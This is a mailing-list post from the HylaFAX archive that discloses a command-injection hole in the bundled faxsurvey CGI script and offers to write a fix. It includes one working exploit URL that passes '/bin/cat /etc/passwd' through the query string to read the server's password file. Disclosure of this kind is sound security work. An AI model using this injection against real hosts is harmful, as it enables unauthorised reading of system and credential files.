|
Hylafax Mailing List Archives
|
[Date Prev][Date Next][Thread Prev][Thread Next]
[Date Index]
[Thread Index]
Security-Hole in faxsurvey-form
Hello all,
JFYI:
in the faxsurvey-cgi that comes with HylaFAX is a security-hole.
If you try this:
http://www.anyhost-with-this-cgi.com/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd
You can e.g. read the host's passwd...
If this survey is from interest, I'll make a bug-fix.
--
mfG,
Carsten Hoeger
------
Carsten Hoeger - S.u.S.E. GmbH - Gebhardtstr. 2 - 90762 Fuerth - Germany
fax +49-911-3206727 web http://www.suse.de
------
